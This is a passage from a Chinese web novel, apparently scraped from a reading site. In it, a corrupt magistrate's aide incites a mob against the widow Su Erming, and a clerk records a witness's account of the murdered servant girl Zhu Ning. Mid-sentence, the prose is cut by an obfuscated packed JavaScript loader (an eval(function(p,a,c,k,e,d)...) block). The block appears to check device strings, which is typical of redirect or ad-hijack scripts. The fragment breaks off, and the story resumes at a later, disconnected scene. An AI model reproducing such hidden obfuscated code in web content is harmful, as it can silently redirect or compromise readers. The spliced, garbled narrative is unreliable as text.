直到门被合上，他夹起一筷子菜，入口滋味十足、带着几分辛辣。 陆远忽然无声的笑了笑，“夫人，这算什么？打一巴掌，给个甜枣吗。” …… 恩自县各街的告示栏上，忽然张贴了沈家惨案的案情结果。 罪犯褚芸，用匕首捅了死者沈万金??二十六刀、致其失血过多而亡后，当场自杀。 城西的告示栏前，众人围着指指点点。 人群里不知谁说了句，“这女管家在沈家多年，好端端地怎会杀了自己的雇主？定是被人妖言蛊惑！” “还能是谁，不就是那苏尔茗??！” “决不能让沈家落入这种人之手，官府奈何不了她，就有我们为沈老爷讨个公道！” 一行人，自城西直奔沈家而去。 29. 第 29 章 巷子拐角处，一顶低调的四抬小轿静静地停在那里。 何师爷唰地打开扇子扇了两下，颇为自得地俯身轻声向轿内汇报：“大人，成了。今儿这么一闹，她想在恩自县混下去，那就是天方夜谭。” “送往荣城沈家的信，如何了？”轿内传来沈万金傲慢地问话。 何师爷掐指一算，恭敬地回应：“应该今日晚些时候便能收到消息，到时候一定会派人过来接手沈家。说到底，苏尔茗不过一介妇人，成不了什么气候。” “你做得好。若是那陆远跑来质问，就说我身子不爽，不见。”张鸿志从容地敲了敲轿壁，轿夫立刻会意，将轿子抬起，慢悠悠地往府衙而去。 “等到他拿到京中大理寺的文书，沈家早就易主了。” 何师爷露出一个得意的笑，直起身，随着那小轿一同消失在巷子里。 街上声讨沈家夫人的百姓，随着队伍走过热闹的长街，越来越多。 有的人甚至抄起了耙犁、铁锨，还有拿着木棍、铁器，来势汹汹。 竹年拿着炭笔和草纸，正在街角和一个大娘套近乎，“大娘，您这些年可见着褚宁了？我上京之前，还答应等她及笄后，给她带上京的吃食呢，现在却见不着她人了！” “褚宁？” 大娘浑浊的眼珠缓缓地转动，半晌，才继续道：“我家那口子也是褚家村的，听说褚芸二姐妹进沈家为奴，没过多久就只剩一个了！外面都说是身子不好，病死的。” “什么！”竹年装作惊讶，继续探问：“她那么年轻，怎得就……” 大娘看着那些神情激愤的人潮，叹了口气，往小巷里走去，“他们啊，都不记得当年的事，光想着沈家眼前的好。前荣城沈家，就是靠着官府强征田地，再雇我们去干活，一点点发的家。” “沈家人好色，那褚宁……是被沈万金在后院里被打死的，从旁门裹了个草席丢出来，天亮以后拉到乱葬岗埋了。” “大娘，这事可是您亲眼所见？”竹年刷刷地记下，一边瞧着街上那人流，心急如焚。 大娘点点头，“那日天亮，我孙女吵着要吃油饼。我出门正巧看见，认出了褚宁脸上的胎记。她衣衫不整，被打得浑身青紫，七窍都是血。” “后来，我告诉了褚芸，帮她悄悄葬了褚宁。就在城西十里外的山上，坟前有一棵新种的梅树就是。” 竹年不敢在分心，火速将所有的事情记在纸上，却见那大娘问：“小子，你是不是京城的陆大人？恩自县的县衙里，没你这样的人。” 竹年的炭笔一顿，尴尬地挠挠头，“我不是陆大人，但……您何出此言？” 大娘推开自家的院门，拿起门边上板凳，坐在那里开始摘菜：“我只是个农妇，你们的事情我不懂，但每次县里出了事，不到一日就能抓到凶手，可依旧不断有各种事情发生，却没人觉得治安不好，都在夸县里的张大人是定海神针、是个好官。” “可若是真那般好，县里又怎会频频出事呢？”她看向站在门口不踏入院子一步的青年，因在外长年累月奔波，皮肤晒成了小麦色，神情却依旧正直、热诚，“你这样的眼神，他们都没有。” 竹年望着双鬓斑白的大娘，陷入了沉默。 他想起陆远时常挂在嘴边的那句“誓平天下不公”，在这一刻，忽然有了它最真切的意义。 他不再觉得笔下的字只是记录着一个人的生平、一件事的始末，而是千千万万百姓在这座城中的缩影。 今日有褚芸，明日就会有刘芸、王芸…… 而府衙里坐着的那个人，在天高皇帝远的县城里，成了真正掌人生死的阎罗。 “大娘，你放心。陆大人他如今就在城里，你们的苦和冤屈，我们会为你们一一抚平。” 大娘摇摇头，对着手里摘掉的菜叶挑了又挑，深深地叹了一口气，喃喃着：“我已经老了，苦不苦的，这辈子都过去了。” 竹年静静地关上小院的门，抹掉眼中的泪，迅速消失在门后。 他要去寻城外十里褚宁的坟墓，他要将沈万金的面目揭露于世！ 竹年最后看了一眼消失在巷子另一头的人群，吹了口哨，暗卫应声而来。 “此次老夫人派你们来，就是要保护好主子，一切皆以主子安危为重！” 暗卫得令，立刻攀上屋顶追随人群而去，直奔沈家。 此刻，沈家后花园，苏鸿文与苏尔茗正坐在院内喝茶叙话。 午后的阳光暖意十足，晒得人十分困倦。 苏尔茗大病未愈，如今饭后更加疲累，强撑着精神，仍旧止不住地打哈欠。 苏鸿文看她一眼，无奈地笑了笑，将带来的土产细细交代给夏南，终是依依不舍地站起身。 “茗儿，你年纪轻轻，往后就要过上守寡的日子……若是……”他拄着拐杖，站在她面前缓缓地抚上她被日光晒得发烫的发顶，忍不住落泪，“若是还有机会再嫁，别为了我们、为了那点黄白俗物，拖累了你的一生。” 她仰起头，父亲的泪水就那么滴落在她脸上，风一吹冷嗖嗖的。 一生古板严厉的父亲，头一次在她面前落泪。 她缓缓点头，握着父亲略带凉意的手，不忍反驳：“好，我听您的。” 她扶着父亲来到角门，本想着可以让父亲少走几步路，却没想到一开门，门前不是候着的马车，而是迎面而来的石子。 “就是她！沈家夫人！” “是她害死沈老爷，贪图沈家家产，她原本不过是个村妇之女！现在飞上枝头，反而倒打一耙，害死了心善的沈老爷！” “这样的恶毒女人，怎么可以安然无恙的活在恩自县！” 开门的瞬间，她听到叫骂，下意识护在父亲身前。 登时被石子击中，额角一道带着痒意的热流顺着流下，右眼立刻被鲜红色的液体蒙住视线。 “父亲，我们先回去！”她抬袖护住苏鸿文的身体，急忙往宅院里退。 苏鸿文教书育人一辈子，何曾被人如此指着鼻子骂过，更何况那是他引以为傲的女儿。 他抬手拉住她的手腕，苦苦相劝：“茗儿！你若真的没有做，便同他们说个清楚，乡亲们都是明事理的人，定是有人在其中挑唆。” “父亲，您先进去，此事不该牵扯到您！”苏尔茗急忙把父亲往院中推，奈何拗不过他。 苏鸿文急得直冒汗，呼吸急促：“茗儿，你是不是还有事瞒着我？” 这边还在门前僵持，人群里几个地痞对视一眼，推搡着前面的人往院门口挤。 “你这老头是谁？莫非就是教唆他夺人家产的贼老子？！” “要我看，今日便该将你们一同赶出恩自县！” “乡亲们，我们上！” 人群霎时开始涌动，一些原本神色犹疑的人，也被搡着驾到前面。 耳边充斥着“鼓励声”：“他们是恶人，我们这样做是替天行道！” 顷刻间，沈家角门处的几名护院就被人群淹没，那地痞藏在其中，伸出的手勉强能够得到石阶上苏尔茗的腰带。 那地痞眼中一亮，若是能让苏尔茗当众出丑，今日也算头功一件！ 那只于暗中蛰伏的肮脏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我还能骗你不成！”那妇人满不在乎地反驳。 陆远使了个眼色，其中一名护卫立刻揭了最近的告示，赶忙递给他。 他越往下看眉头越紧，脸上再难遮掩住阴沉的神色。 苏尔茗眼神平静地扫过那张告示，上面内容与她猜得别无二致。 却见陆远三两下将那告示折起塞进衣襟，双眼露出一丝狠厉。 她不动声色地错开眼，将心中的疑虑按下，目光落在那神色得意的妇人身上。 妇人见她看过来，双手抱胸鼻孔朝天：“看你还有什么可以狡辩！分明是这个妒妇嫁入沈家，不满沈老爷收留可怜女子，甚至多次到官府递交诉状污蔑家暴。” “府衙张大人耳清目明，不受理你的无理要求，你就挑唆她就犯下如此大错！” 陆远平静地扫过眼前的众人，厉声反问：“这便是你们为她定罪的理由？红口白牙，凭空捏造，这是赤裸裸的污蔑。” 他目光所及之处，有部分人纷纷错开眼，不敢与他对视。 “若是沈万金害死了褚芸的妹妹呢？”苏尔茗冷声道。 人群鸦雀无声，继而像铜壶里的水一样爆裂地沸腾起来。 “绝不可能！” “沈老爷根本不是那种人！” 她从身后的早苗手中拿过一个册子，高高举起：“倘若，我有证据呢？”